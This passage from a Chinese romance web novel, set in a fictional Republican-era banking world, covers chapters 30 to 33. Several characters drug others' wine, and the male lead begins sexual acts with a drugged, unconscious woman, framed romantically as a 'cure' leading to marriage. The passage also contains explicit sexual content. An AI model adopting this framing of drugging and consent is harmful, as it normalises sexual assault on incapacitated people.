她知道腹水难收,撤回那个花边新闻没有用,但这是一个很好的找严鹤的借口。她不喜欢严鹤和欧郁诚合伙来玩弄她,所有她要陪他们玩玩,说不定能帮沈靳言打听点有用的信息也好啊。
黄河百货那里的几个经理去年都见过沈靳言亲自带着萧素素来置办她参加宴会的衣裳,所以萧素素一进门他们就立马认出来了,个个殷勤得不得了。
宁经理找了去年京师师范毕业的孙若欣给萧素素服务,孙若欣是黄河百货上半年的销售冠军,最懂京师这些太太小姐们的时尚需求。
知道萧素素是沈靳言身边的人,他们自然是以最高规格来接待,几个经理全程陪同,弄得萧素素都有点不好意思了!
萧素素道:“有孙小姐在这里陪我选衣服就可以了,你们在这里我反而不方便……”
宁经理道:“那小孙你一定要把萧小姐服务好,若是萧小姐有什么不满意的,我拿你是问!”
几位经理行了礼才退下。
孙若欣时刻挂着标准的微笑,她问萧素素:“可是要出去约会?”
萧素素点了点头。
孙若欣又问:“是买洋装还是买旗袍?”
想到上次在鲲鹏俱乐部,东方云韶、皇甫乐珊、金巧云三人都是穿的旗袍,穿旗袍应该不会有什么错吧?
萧素素道:“今天就看看旗袍吧。”
想着这几天在下雪,萧素素忍不住想发抖,她今天可是去勾引人的,冷也要克服。
孙若欣看了她的身材,笑着道:“萧小姐穿旗袍会将身上的优点都显露出来,一定不会有错。”
让人给她拿了白底水红竹叶梅花图样印花旗袍、宝蓝色葫芦双喜纹的遍地金旗袍、葱绿底缠枝宝瓶妆花旗袍、湖色宝瓶妆花旗袍、粉白撒花金色滚边缎面旗袍给萧素素看。
她笑着道:“铺面上挂着的,都是现下很时兴的式样,为了避免和其他人撞衫,我从孤品库每样颜色拿了一件出来给萧小姐看,看萧小姐更喜欢哪种颜色的,我让这里的姑娘把这种颜色的每种款式穿在身上,走几步给萧小姐看。”
萧素素挑眉,难怪黄河百货能成为全国最大的百货公司,这服务理念谁能比?她指了白底水红竹叶梅花图样印花旗袍道:“不用麻烦了,把这个相近颜色的旗袍都拿出来我自己看,我看上哪件自己穿上试一下就是了。”
最后选了一件月白底子樱花纹样宝蓝滚边缎面旗袍,衬得她面若海棠般娇美,孙若欣心想,她要是男人也得被她迷住!
萧素素另外选了一个白狐狸毛的围脖,更是衬得她肌肤胜雪!萧素素准备结束战斗,先回家把换下来的旧衣服放下。却在黄河百货遇到来视察工作的沈靳晖。
沈靳晖刚从三姨太那里听说了沈松龄的“婚姻连带禁止”命令,正在郁闷,他知道父亲向来言出必行,若是二哥不结婚,他必然要打光棍,看到萧素素,他意外发现了此事的破解之法。
于是随从便看到刚刚还阴沉着脸的沈家四公子,脸上马上笑得跟一朵花似的。
沈靳晖迈开大长腿,三步并作两步,往萧素素走去,边走边热情招呼:“萧小姐!这么巧!”
来陪同他检查的人都看出了他的殷勤,更是高看
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萧素素,能被沈家四公子如此殷勤讨好的人,能是什么身份呢,自然是他们怠慢不得的身份!
萧素素只是淡淡的回了他一句:“是很巧,没想到能在这里遇到你。”
语气淡当然不是故意的,只是她对谁也是殷勤不起来。
她对老板沈靳言也没有殷勤过,但看在事故圆滑的黄河百货的几个经理眼中又是另一种姿态和意思了。
沈靳晖看到孙若欣正在给萧素素整理衣服,便问道:“你在这里买衣服怎么也不让宁经理陪着。”
宁经理:“......”
萧素素便笑着解释:“他们在这里我反而不自在。”
沈靳晖问她:“你今晚有约会?”
萧素素道:“没约会就不能买衣服吗?”
沈靳晖道:“那倒不是,只是现在是上班时间,所以我才这样问的。”
萧素素有些心虚:“我请假了。”
沈靳晖玩味着这句话,又问她:“你买了什么?”
萧素素道:“诺,就买件衣服......”
沈靳晖道:“宁经理,按着这个尺寸包好孤品库的所以这个尺寸的衣服,送到萧公馆去,记在我账下。”
萧素素:“这怎么可以,我不能要!”
沈靳晖道:“你这么漂亮,身材这么好,穿出去给我们黄河百货做宣传,我给发薪水......”
萧素素:“我不要......这算什么呢?我有衣服穿!”
沈靳晖内心很满意,她要他就送,她不要说明她心里有尺度和分寸。
他面上却是将嘴一瘪,道:“看来我的衣服卖不出去了。”
萧素素:“怎么会呢?这么好的衣服,这么好的服务,一定会大卖的。”
她提着自己的包包,想赶快撤离:“我还有事,先告辞了。”
沈靳晖赶忙说:“你要去哪里?我让人送你。”
萧素素道:“不用了,我坐人力车......”
沈靳晖不容商量,喊来了随从:“把萧小姐送到她要去的地方……”
又对萧素素道:“坐人力车太冷了,我派人送你。”
萧素素盛情难却,就没有再说什么了。
等萧素素走了,沈靳晖又对宁经理说:“你派人立刻把我二哥身边的井秘书找来,我有很重要的事!”
宁经理不敢耽误,派了好些人满大街找井弘深。
一个小时后,井弘深就出现在沈靳晖面前了。
井弘深问道:“四公子,您找我有什么事?”
沈靳晖道:“我二哥今天可有什么事?”
井弘深道:“回了一趟老宅,就让我给他找女人。”
沈靳晖问:“什么女人?”
井弘深想起那会儿沈靳言的神情,很有些奇怪,便道:“行长让我给他找年轻的、健康的、美貌的、干净的女人......但是我不明白,他怎么了?为什么突然要找女人......所以我现在还在纠结给他找什么样的女人?”
30. 内讧(八)
沈靳晖解释道:“家里让我二哥结婚,我二哥表示不结,所以我父亲说,他不结,我们家所有男丁都不许结婚也不许纳姨太太......”
井弘深道:“那行长让我去找个女人也解决不了当务之急......”
沈靳晖道:“你现在就去找个歌星,我自有道理......”
井弘深狐疑的看着他,并不行动。
沈靳晖笑骂他:“你是怕我害了我二哥?来来来,我给你说......”
这般那般在他耳边说了一通。
井弘深听完笑了,但他还是有些担心:“到时候行长一生气,可是会把我开除的!”
沈靳晖道:“我保证万无一失,就算到时候我二哥知道了,我还有一所股票交易所要开张,聘你当经理,酬金由你开,也可作为你的后路了。”
井弘深道:“我不想离开通商银行。”
沈靳晖道:“哎呀,我到时候去给我二哥磕头,一切由我担着。”
井弘深想了想,他也不忍心沈靳言一辈子光棍,就说:“算了,不用你担着,我去办吧......”
鲲鹏俱乐部里,严鹤给萧素素点了西餐和红酒,说这是罗曼蒂克。
在要坐下的时候,严鹤着重看了一下她今天穿的旗袍,她今天的旗袍有些紧身,上下前后都被旗袍给称得浑圆。
她平日里都是穿的很宽松的衬衣西裤,曼妙的身材并没有这么明显,需要他发挥想象才能知道她衣服遮盖下的美好。
萧素素把报纸递给他看,预演了一天的泪就流了出来。
严鹤今天因为这个新闻本就高兴得要不得,后来萧素素又主动来找他,他更是觉得欧郁诚干了件爽利事!
他先把知味斋买的糕点分给萧素素,道:“别哭了,那样的花边新闻没人信的,我让欧郁诚约束好报社的人,以后不要乱写......”
萧素素擦干眼泪,撒娇道:“你要让他们主编给我道歉!”
严鹤道:“改天行吗?这可是我们第一次单独约会。”
萧素素眼眶里又蓄满了泪,嗔他:“上次还不是怪你!我可是气了你很久!”
严鹤拿起她的手打自己的脸:“怪我,怪我。”
萧素素就笑了,笑得很娇媚,配上她眼里晶莹剔透的东西,严鹤整个人都被迷的酥酥麻麻的。
他呆呆的看着她,萧素素还向他眨了下眼睛,他更是被迷得不要不要的。
他抓着萧素素的手就不想放手,萧素素反手抓住他的手掌,道:“鹤哥,我会看相,要不要我给你看看?”
严鹤呼吸发紧,巴不得和她更亲密一些,就说:“我不信,看你能给我看出个什么来。”
萧素素摊开他的手,手指在他掌心上的纹路描摹着,每一下都牵动着他的神经,萧素素好像没觉得这是暧.眛的事情,好像在给他讲专业知识一样:“鹤哥,你看这条线,是你的仕途线,特别长,冲上云霄了,有些人两个人加起来也没有你长......金钱线也很好......”
她故意没有说他的婚姻线,因为他的婚姻线很乱,而且若隐若现,不知道有没有。”
这时候服务生上了牛排和红酒,萧素素道:“我不会吃西餐,你来教我吧!”
严鹤全当她在勾引自己,心想原不用勾引的,今晚她们反正能水到渠成,就跑到她身后手把手的教她。
隔壁包厢,沈靳言正在打牌,作陪的是百姓银行总裁裴成益、通商银行金库主任傅砚东,京师警察局副局长许关山。
包厢里点了烟,烟草味浓烈,加上各人身边坐着的妖娆女郎,只能用纸醉金迷来形容。
裴成益看了一眼沈靳言身边的女郎,笑他:“你该不会因为那则花边新闻才找了美女作陪吧?”
司韵宁穿了水红撒虞美人花亮缎粉紫镶边旗袍,妩媚有余,知性不足,裴成益断定这不是沈靳言喜欢的类型。
沈靳言道:“不全是,是因为要陪裴总打牌,裴总每次打牌都带了美女,我觉得有美女陪着也很不错,就学学裴总。”
许关山道:“沈行长这样说,也不怕司小姐伤心?司小姐可是第一次出面陪人打牌。”
司韵宁道:“徐局长言重了,我怎么会伤心呢?像徐行长这样的大佬,能远远看一眼已是我的荣幸。”
沈靳言看了她一眼,突然把她抱入怀中,道:“你今晚可是自愿陪我的?”
陪睡还是陪什么,他没有说,但司韵宁脸已经红了。
陪上峰打牌,对傅砚东来说是个最苦不过的差事,但不说话又怕上峰有意见,就道:“司小姐的福气可大着呢,我们行长至今没有女人,司小姐陪了他,行长是绝不会亏待的!”
司韵宁是全国最红的歌手,人们都称呼她为“歌后”,她没有像其他歌星一样出来陪过达官贵人,等的就是这一天,总有金主是不喜欢交际花的,她洁身自好等的就是像沈靳言这样的金主。
但人设不能崩,她推开沈靳言的怀抱,娇嗔道:“快别拿我开玩笑了,沈行长不喜欢我们这种唱歌的,人家可是喜欢读过新式学校的知识分子。”
裴成益认真的看了两眼司韵宁,问身边的女郎:“你觉得沈行长喜欢什么样的女孩子?”
那女郎娇笑了一下,道:“我怎么知道沈行长喜欢什么样的女人,我只需要知道裴总喜欢什么样的女人就够了!但是如果说沈行长喜欢上过新式学堂的女人,正好司小姐也是上过新式学堂的知识分子,她不就是沈行长喜欢的人吗?”
裴成益刮了刮那女郎的鼻子:“小机灵鬼儿。”
沈靳言笑着道:“既然司小姐是读过新式学堂的知识分子,那沈某人今晚若是赢了裴总,赌金就给司小姐了,也不妄你陪我一场。”
裴成益拿出来的赌资是京郊一套洋房。
司韵宁想起井弘深说的话,心道一套洋房算什么,她要的是黄河百货和通商银行老板娘的身份,所以他激沈靳言:“那沈行长一
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定要赢哦,别输了让我白白坐一晚上。”
裴成益道:“让你白白坐一晚上他就不姓沈了。”
服务生端了红酒上来,沈靳言皱了皱眉头,平时这种场合都是喝茶的,毕竟约裴成益出来是有正事,但他以为红酒是裴成益点的,就也没有说什么。
裴成益拿起红酒喝了一口,道:“这次挤兑风潮,对我百姓银行影响很大,幸亏得沈行长解救,不然我百姓银行恐怕现在已经倒闭了。”
沈靳言笑而不语,只默默喝下放在身侧的红酒,他很佩服裴成益的一点是,五年前发生挤兑风波时,裴成益冒着生命危险对抗了前财政部长皇甫元思的停兑令,要不然五年前百姓银行就可能倒闭了。
他觉得红酒口感还可以,便示意司韵宁也喝。
许关山拍马屁道:“多亏两位大佬,不然我许某早就破产了,更是没钱陪两位大佬打牌了。”
傅砚东却是对裴成益说道:“我私心倾慕于裴总裁,不只因为你的品行之坚韧不拔和宁死不屈,还敬佩您炉火纯青的专业水准与职业精神。”
沈靳言授意傅砚东多奉承裴成益,可没想到他说的这么假大空,于是他又喝了一口红酒,顺着傅砚东的话说:“你们银行成为“特许国际汇兑银行’后,我听说你启动了全方位的改革,沈某对这些改革措施很钦佩,比如说“定基层’‘立屋柱’‘打图样’,都是我们花国通商银行需要学习和借鉴的,这会为我们花国未来的银行体系打下坚实的基础。”
裴成益被他最看得起的后辈夸奖,心里美滋滋的,他连忙道:“快别这么说,等会儿我的脸要比沈行长还红了。”
也许是喝了红酒的原因,沈靳言的情绪就比较外放,他像是在给情人表白一样,挥了挥手,继续道:“更重要的是,在你身上,我看到了一种希望......”
沈靳言觉得自己身上很热,盯了一眼红酒,道:“你们有没有觉得身上很热?”
裴成益笑道:“我说你今天怎么这么肉麻?原来是喝醉了!”
沈靳言大约猜出了这酒里有什么,他以为是司韵宁为了上位给自己加的料,想到反正鲲鹏俱乐部有自己的人,还有井弘深在,司韵宁她想爬自己的床也不可能,就继续道:“我们花国一定要建立不依赖于外国的、独立的金融市场和银行体系。咱们要合起伙来培植进行金融交易、执行金融契约必不可少的制度基础。”
裴成益突然把背挺直,又有些泄气:“我没有你说的那么高尚,我就是受英法美日的窝囊气受够了!不想再受了!”
傅砚东没有喝红酒,他不理解平时那么能喝酒的上峰怎么突然就醉了?难道是因为不好意思清醒的奉承裴总?装醉?
他接过沈靳言的话说:“我们行长的梦想就是建立具有金融主权的银行体系,所以裴总是他的知音啊!”
许关山这个外行都听得热血沸腾:“这就是家国情怀了!两位大佬请受我一礼!”
说完恭恭敬敬的起身作揖!
31. 内讧(九)
萧素素脸色煞白,霓虹灯下更是惨白如纸,她很少恨自己,今日却是深恶痛绝,她这是“羊入虎口”了?
她知道自己被下了药了,她知道严鹤品德有问题,却没有想到这么败坏!
她举起手指,对严鹤说:“我原本以为你是喜欢我的,却没有想到你这样对我?”
她想到了自己的清白?身上一阵恶寒,她要怎么办?
严鹤的身上起了一层汗,一张精致的脸很是苍白,人也十分虚弱,他整个人昏昏沉沉,头脑也十分的混沌,想说什么,却是一头栽在了桌上。
萧素素渐渐不支,在失去意识的前一刻,她感觉有人把她凌空抱起,想看清是谁,已经完全不能够了。
她这辈子是完了!
裴成益被沈靳言和傅砚东夸得很是受用,抬眼认真瞧沈靳言。
沈靳言原本高傲,前几年不愿与百姓银行的人来往,最近两年像突然转了性,频频对他示好,他却始终防着沈靳言,以为他别有用心,却没有想到几次三番都是沈靳言单方面帮助他,没有从他这里索要任何利益。
沈靳言是有高傲的资本的,原可以什么都不管的,他甚至可以趁人之危,在百姓银行摇摇欲坠的时候,他可以做很多只有利于他个人利益的事情。
但是,沈靳言没有,他为百姓银行和花国银行出谋划策,提供了很多破解这次危难的思路!
这样的年轻人才是银行业未来的希望。后生可畏啊!他即使不是沈松龄之子,他也是有大出息的!
裴成益发现沈靳言在说话的时候脸色异常的潮红,他的脸色突的一变,不好,沈靳言被人下了药了!
谁会在他的酒水里下药?是司韵宁?还是傅砚东?还是许关山?或是旁的什么人?
反正不是他,他要把自己栽出来,不能失了沈靳言这个年轻人的“心”。
牌桌上的人都看见了,裴成益刚刚还满面笑容,突然就脸色一沉,大叫一声:“井秘书何在?”
沈靳言挥挥手:“裴总,没事。”
众人不知道他们打的什么哑谜,面面相觑。
井弘深像是时刻准备着一样,裴成益的声音一响起,他就出现在房间里了:“裴总,您找我?”
裴成益道:“你们行长酒里被放了不干净的东西,快扶他去四楼的客房休息,最好找个医生检查,这世道乱着呢,可别被人害了!”
沈靳言笑了笑,他这是自嘲,上一世他都没有被人在这种事上这么算计过,重活一世,他却遭人这般算计!
愚蠢!
他道:“不关裴总的事,倒是我不好意思了,别人算计我,扫了裴总的兴......裴总,今天就先到这里,我先去休息。”
他望向司韵宁的眼,冰冷至极:“我派人送你回去。”
司韵宁红了眼,他的药不是她下的,但他这眼神是怀疑她吗?
从包厢里出来,沈靳言感觉到自己身体的失控,他问架着自己的井弘深:“怎么回事?”
井弘深沉默了一下,行长应该是有了自己的推断了,他却道:“出了点事,需要行长定夺。”
沈靳言闭了闭眼,看来真的是家里人下的药,井弘深和家里的人合谋的!他道:“去请沈医官来!”
井弘深知道,不能请沈嘉兴来,沈嘉兴来自然能解行长的毒,可是行长还要一直单身下去吗?四公子的姻缘怎么办?萧秘书的毒又该怎么办?四公子说严鹤给萧秘书下的毒可没有解药!
井弘深硬着头皮道:“严鹤给萧秘书酒里下了药,她的药可是不能解的,刚刚四公子才把她救下抱到四楼去,四公子说,他可以救她,但是只能当二姨太,《太阳日报》家的方小姐通情达理,定不会为难萧秘书,可是萧将军那边你怎么说?”
沈靳言一把揪起井弘深的衣领,问他:“四公子!四公子!你究竟是谁的人?”
井弘深道:“萧秘书的药很烈,不能等了,她万一自己脱了衣服,四公子看在您的面子上也不得不救......”
他补充道:“严鹤一心想操纵萧秘书,岂会手下留情,幸亏四公子救了她,但是,现在怎么办?”
沈靳言闭了闭眼,心里胡乱的想:“她怎么能跟四弟呢,还是二姨太,他怎么向萧岐山交代?”
井弘深见他红着眼一直抓着自己的衣领:“行长,你既然不管她了,我马上派车去请沈医官,我只听行长的话!”
他将沈靳言的手扳开,像是心里也有了气,转身就要下楼。
“她在哪里?”井弘深听到沈靳言这么问他,立刻回来扶住沈靳言,对他说,“416。”
就这样,沈靳言进了416,井弘深口里的“四公子”并没有在房里。
沈靳言听到门从外面反锁的声音,心里苦笑,是怕他跑了吗?
不,他不会跑,他现在特别渴望一个年轻女子的身体来慰藉自己。
沈靳言没有开灯,今夜的月亮很亮,从玻璃窗上映照过来,能看到萧素素正在床上拉扯身上的衣裳,他的呼吸变得急促而滚烫!
她穿了月白底子樱花纹样宝蓝滚边缎面旗袍,衬得她面若海棠般娇美。
他一直都觉得她特别好看,今晚这衣裳这围脖更是衬得她绝世美颜!
如此美人,哪个男人不爱?
他苦笑,如果不是四弟救下萧素素,她是否正在严鹤身下婉转承欢?那么她的一辈子都要被严鹤控制?她会应严鹤的要求,把他沈靳言的秘密什么都告诉严鹤吧?他沈靳言还会如上一世一样因严鹤而死?
他突然想起来了,上一世严鹤的太太的确是姓萧,他那时候和萧岐山并不很熟,普通同僚,并不知道严鹤的太太是不是萧素素的萧?
现在看来有可能是了!他早该想起来的!
“鹤哥,你不能这么对我!”萧素素期期艾艾的求着?
沈靳言听来却是另一番意思,她这是在求爱?他听得气血上涌!
萧素素解开自己的狐狸围脖,身上又热又疼,狐狸毛更是弄得她脖颈痒,两行清泪从眼角溢出。
她并没有醒,闭着眼睛扯下围脖,还拉开了旗袍的领扣,露出的脖子纤细修长。
沈靳言揉着自己的
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眉心,沈靳晖和井弘深干的好事,药效越来越上头了,身上五脏六腑都叫嚣着渴望,重活一回,他依然是个凡夫俗子,依然是个男人,他需要女人,现在就要!他伸手捏住萧素素的脸,她的脸烫得他眼皮一跳,井弘深说的是真的?她的温度明显比自己还滚烫!
手心里冰沁,她这是哭了?月华如水,沈靳言通过月光能看到她莹白如玉的脸上还有晶莹的水光。她上次在自己面前哭的时候只是孩子做错事的悔恨和对严鹤的恼怒!这次又和严鹤来往,还被人家下了药!
他怒吼着喊她:“萧素素,你给我醒来!”
连着喊了几声,萧素素也没有醒来!不行,不能再等了,他要疯了,再等恐怕他下半辈子真的不能碰女人了!
他迅速脱去自己的西装西裤,又去解萧素素的盘扣,他上一世早已结婚,这样的事轻车熟路,一点不会生疏,一番慰藉之后,很快就给自己带来了欢愉。
是的,男人变成禽兽的时候哪怕对方并不清醒也会十分欢愉!
他如此这般批判自己。
头脑也渐渐清明,心中却开始酸涩的疼,十分的茫然!
他隐约的想,不知道萧素素醒来会不会也认为他是个禽兽?明明平时以自己的叔辈自居,却趁人之危!
她会不会被污了清白要寻死觅活?
等萧岐山从沪城回来,发现自己的至交好友玷污了自己的女儿,会怎么看他?
天啊!他真是昏了头了!
哪怕是把萧素素打醒他也要问过她了再做。
他吻遍了她的所有,没有进行最后一步而已,可有没有最后一步他都已经完完全全的玷污了她。
萧素素的觉得清凉了一些,蹙着眉头说:“严鹤,我原本以为你是喜欢我的!你怎么可以这么对我?”两行热泪再次夺眶而出!
不知道是愤怒、嫉妒还是雄性动物的好胜心,沈靳言再也不想忍耐......
萧素素是被疼醒的,睁开眼看到的是沈靳言的脸,她居然脱口而出:“行长,严鹤要害我......”
不对,他们在做什么?
刚刚她梦到的那些都是和沈靳言一起做的?要不然他们怎么现在是坦诚相见的?
“啊!!!!”萧素素抱着自己的头大叫!
沈靳言听了刚刚那句话,早消了气了,现在也是无法面对萧素素的尴尬!她大叫,他来不及细想,赶快捂住她的嘴,道:“低声些,难道光彩吗?”
萧素素拼命挣扎,沈靳言觉得这样抱着她也不自在,就对他说:“你不要大喊大叫,我就放开你。”
萧素素眼睛眨了眨,算是应允。
沈靳言放开萧素素,萧素素拔下自己马尾上的玉钗,一头长长的青丝如瀑布般披泻而下,然后她双手抱住膝盖,将前面藏起来,让黑发尽可能地也遮住后面,像只小兔子般蜷缩在床上,但却目光灼灼地盯牢沈靳言,充满了防备!
沈靳言又愤怒了:“现在知道保护自己了?和严鹤喝酒的时候怎么不知道保护自己?难道是我给你下的毒!难道是我非要和你苟且……”
32. 内讧(十)
可能是药物的副作用,萧素素渐渐的颤抖着,幅度越来越大,甚至牙齿也开始打架,可她始终不哭,大睁着眼睛不让眼泪流出。
投向沈靳言的目光有锐利的光芒:“你可以帮我请医生来解毒!”
“严鹤给你下的毒无药可解,除非做夫妻之事!”
“我知道是严鹤下的毒,但你怎么在这里的?”
沈靳言气不打一处来,这是质疑他在这里等着“趁人之危”?
“难道我在这里等着当你的解药吗?我今天是约了百姓银行总裁在这里打牌......哼,话说回来,要不是我在这里,你早就被严鹤吃干抹净了!他一个总理之子,怎么会娶你?娶了你你也只能当姨太太!你一个女孩子没有了清白以后怎么立足!”
萧素素憋憋嘴,心里骂他:你还是资政之子呢,地位比严鹤还高,说得好像你会娶我一样!
又听沈靳言在那里唠叨:“你以为现在外面的学生动不动叫嚷着“民主”、“自由”,那这个世界真的就“民主”、真的就“自由”了吗?”
“别傻了!”
萧素素无法反驳他的逻辑,身体的疼痛无以复加,不是男女之事带来的疼痛,而是那种从骨髓里面透出来的疼痛。
是恶毒的严鹤那个毒的作用!
沈靳言找来客房的浴袍自己穿上,又拿了另一件准备给萧素素披上。
发现她现在不像刚刚那样像烙铁一样火热了,而是像坚冰一般寒凉。
他环抱住他,道:“这次不会那么疼了。”
又准备给她解毒!
她用手抵住沈靳言的胸膛,不是刚刚那么锋利的语气,而是因骨头里的疼痛变得有些悲戚:“行长,真的不可以!”
“怎么不可以?又不是第一次了?”
不是第一次就可以吗?这是什么逻辑?
她颤抖了一下,骨子里痛得不行,眉头也皱着,她觉得好冷,心里极度渴望有个温暖的怀抱。
她渐渐不支,一头栽进沈靳言的怀里。
她期期艾艾,牙齿一直在打架,泪水也流了满脸。
有温香软玉在怀,又有外力的作用,沈靳言只觉得浑身火一样燃烧的热,哪里还能坐怀不乱?
他用手抵住萧素素的后脑勺,用力亲吻她,她的唇那么冰冰凉凉,牙齿也冷得打颤了,正需要他的火热不是吗?
他道:“没有什么不可以的。解了你的毒才是要紧的!”
萧素素听到他粗重的喘息声,他一寸一寸的亲吻着她,每一下都使疼痛得以缓解,她很渴望,希望他再用力一点。
她知道她这样很贱,但是她觉得更让她无法忽略的是那种背德感,她在唇齿得以解放时,仍不忘提醒沈靳言:“可是你是我大爸的好友,是我的沈叔叔。”
沈靳言低头看她,眼神里竟是黝黑一片:“你知道的,若不是因为你大爸,我原可以不管你的。”
“你好好想想,我为什么管你!我是缺女人吗?”
可能是自尊心作祟,也可能是因为他言语中流露出来的伟光正,萧素素冷笑:“那你为什么没有女人?”
这话终于伤到沈靳言,他恶狠狠的说:“要不是因为我没有女人,家里也不会给我下药!”
“下药?所以说你也被下药了?”萧素素被他的话震惊道,随即冷笑道:“你刚刚还说的像你是在救我,你分明是希望我救你!”
沈靳言立马放开他,披衣下床,毫不留念。他平时就觉得她忘恩负义,有时候他还尽量安慰自己,也许是她不善于沟通表达,是他误会了她,今日才觉得她真的是忘恩负义,不是不善于表达。
男人飞快的穿衣,没有任何多余的情绪,看也不看她,萧素素眉头皱得越来越紧,疼得呻吟了一声,沈靳言却像没有听到她痛苦的呻吟,只看了她一眼,恶狠狠的说:“我会跟你大爸说我彻彻底底的玷污了你,你大爸要如何发落我,我自会担着,我现在就去给你找医生。”
萧素素抓住他的衣服,蛮横不讲理:“不许走!”
沈靳言掰开她的手:“我留在这里做什么?继续当你眼中的登徒子?”
“我从来没说你是登徒子......”萧素素气势弱了很多,呼吸乱七八糟的,胸口也开始疼痛。
她收紧身上的浴袍,闭眼说出自己的痛苦:“骨头里面好痛,胸口也开始痛了......”
严鹤真的是个畜生,一点都不知道怜香惜玉!
沈靳言还是没有回头,却也没有走,他问:“萧素素,你要我怎样?”
这不明知故问吗?
萧素素觉得很委屈:“没错,我是主动找的严鹤,我够蠢!但我也想过帮你打探消息......”
沈靳言终于回头:“我需要你打探什么消息?别傻了!这个国家最厉害的探子都在我手里养着!”
“可是,他的朋友们都很厉害。皇甫乐珊、欧郁诚、岛津齐哲、金巧云......”
太疼太冷了,她一拳一拳捶着自己的胸口,但是无济于事,于是她加大了捶打的力度,沈靳言抓住她的手腕:“萧素素,胸口那里的勒骨很脆弱,你这样会把自己捶死的!”
萧素素弱弱的叹了一声:“不然怎么办?你又不救我。”
沈靳言嘴角上扬,不知道是高兴还是什么,目光紧紧的盯着萧素素的眼睛,问她:“你知不知道你在说什么?”
萧素素撒气道:“你不帮我算了!我冷死也不关你的事!”
沈靳言解开衣服,再次抱紧她,萧素素像是被激流冲刷一样,他的炙烤融化了她的坚冰,冻感也在释放,吻一个接着一个,头发、眉毛、眼睛、鼻子、脸......混沌中,萧素素眯着眼睛,说出了更不可思议的话:“求求你,用点力!我太难受了!”
沈靳言的汗覆了全身,目光幽深的问:“现在怎么不说我是你的沈叔叔了?”
“我不管,我不想再痛了,你能不能......用力点?”
沈靳言道:“记住,这可是你说的!”
但很快萧素素又开始求饶:“好痛,好痛.....
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.我觉得我会死的……”
沈靳言的汗从头发上滴下,他停顿了片刻,因为不知道她哪里痛,萧素素却勾住她:“你不要停嘛?”
沈靳言懂了,并且将她的指令执行到底!
时间无比漫长,萧素素觉得自己很温暖,软软的躺在床上,刚刚什么不要脸的话都说了,现在根本不敢睁开眼睛。
偷听着沈靳言的动静,不想却被他腾空抱起。她惊呼:“你要干什么?”
沈靳言觉得她好笑得很,别别扭扭的,就说:“你以为这就完了?洗完澡再继续!”
哈?
萧素素道:“可是我觉得我好多了,不需要了......”
“小东西!死没有良心的!你好了我没有好!总要礼尚往来一下吧!”
萧素素总觉得这个对话的逻辑有什么问题?但一时也说不上到底哪里有问题,直到他给她亲手洗了,她才发现,洗澡不是应该分开洗吗?她又不是没有手,为什么他要给她洗?
但是到了这种程度她却什么都不好说了。说了,那就真的是矫情了,人家都已经给他洗了,她才说她要自己洗,早干嘛去了?
给两人擦干以后,沈靳言将被子盖在萧素素身上,自己则躺在她的身边,定定的望着天花板,不像他刚刚说的还没有完?
半天,沈靳言才翻身搂着她,问她:“你真的是为了帮我打探消息才去找的严鹤?”
萧素素定定的看着他,这重要吗?
“回答我?这很重要!你总得说服我娶你吧?要不然我凭什么娶你?”
“我是为了替行长打探消息才去和严鹤见面......”尽管还有其他原因,比如虚荣心和好胜心,但想打探消息也是真的!
沈靳言搂着她腰的手更紧了一些。萧素素也明白他和自己一样,突然遭遇这些,心里有很多不确定感。
但是理智告诉她,她应该对他再主动点,再讨好一点,不然她这辈子要怎么办呢?
这个社会从来都是对男子宽容,对女子苛刻,大爸他们又要怎么看她呢?
不知检点?
每逢清明寒食,她祭奠父母的时候又要怎么面对他们呢?
她已经没有了清白,若是沈靳言出了这个门不认账,萧岐山会为她讨回公道吗?
她不确定!
萧素素心一横,主动翻身过去,搂上他的脖颈。
沈靳言从下往上凝视着她,目光很幽深。萧素素一不做二不休,主动凑上去吻了一下他的嘴唇。
很快就被他按住后脑勺,再亲了回来。
他像是情场老手?动作很熟练,她软成了一滩水,任由他统领着她,引导着她。
等两个人喘息着分开的时候,他在她耳边低沉地说:“素素,乖,来……”拉着她的手往下。
萧素素摸到他的时候,他的身体坚硬如铁,有种蓄势待发的力量,十分紧绷的感觉。
指尖触碰到那里的时候,心更是十分的紧张。
“来,没关系,我不会让你痛了。”
33. 内讧(十一)
“行长,出事了!”井弘深在门外咚咚的敲门,因为急切所以大声。
沈靳言从睡梦中醒来,发现萧素素并没有因井弘深的敲门声和大喊声而醒,摸了她的额头,不冰也不烫,很温暖,就迅速拿了床头的便签写道:“好好休息,外面有人保护你,不用怕!我很快回来,明天带你去做婚姻登记。”
他出门,看到厉涛和井弘深等在走廊上,便知肯定与萧岐山有关联,不然厉副官不会来找他。
想起那则花边新闻,心想难道和吴景深有关?
沈松龄教给儿子们上位者的姿态是不急于发言,不率先提问。
沈靳言却是知道与萧岐山有关,便问道:“可是萧将军有事?”
厉涛道:“我和将军今天从沪城回来,刚下火车,萧将军就被京师地方检查厅的人带走了。”
沈靳言问他:“可是因为他与吴景深宝物案有关?”
厉涛心道不亏是资政的儿子,果然料事如神,道:“原京师地方检察厅检察长章卫平状告萧将军在担任圆明园委署主事的时候,与时任圆明园主管事务郎中的吴景深勾结,共同倒卖圆明园中的古玩国宝......”
沈靳言皱眉:“你是说章卫平状告的?”
章卫平是欧繁汐的姑父,沈家这一派的?沈靳言原本以为会拿萧岐山任委署主事这事儿大作文章的会是欧乐贤父子或者严学熙父子或者吴世勋?
怎么会是章卫平?谁又在父亲面前进了谗言?
沈靳言望向井弘深:“严鹤还在你们的监视中吗?”
井弘深点点头,道:“酒里下了蒙汗药,房间里也点了迷香,要睡很久才会醒。”
沈靳言道:“确保他明天傍晚才醒,我需要在这期间处理一些事情。”
他又对着厉涛说:“你们将军若想被放出来,需要你做点事情。“”
厉涛不解,但十分信任沈靳言:“沈局长需要我做什么?”
沈靳言附耳对他这般那般的说了一通,厉涛脸色一喜:“你说我们将军没事,他必然没事!我这就去萧公馆找将军夫人。”
厉副官走后,沈靳言问井弘深:“吴妈来了吗?”
井弘深低着头,好像能把脚尖望穿,萧秘书醒来必然需要人照顾,内宅的事行长是最相信吴妈的,但是他忘了让人去把吴妈请来。
沈靳言又问他:“我四弟他现在何处?”
“四公子在421房间。”井弘深依旧低着头,不敢看沈靳言。
沈靳言拿出一根雪茄,点上,才道:“跟他说,让他留在这里!如果这里有什么差池,我就再也不会认他这个弟弟!”
“......”好像这话真能威胁得到沈靳晖,他就是个妥妥的“兄控”。
井弘深问:“行长,你要去哪里?”
沈靳言吐出一个烟圈,道:“老宅。”
井弘深问道:“萧秘书怎么办?”
“派个司机把吴妈请来伺候,让她带两个小丫头跟着她。”
井弘深问道:“你要去多久?”
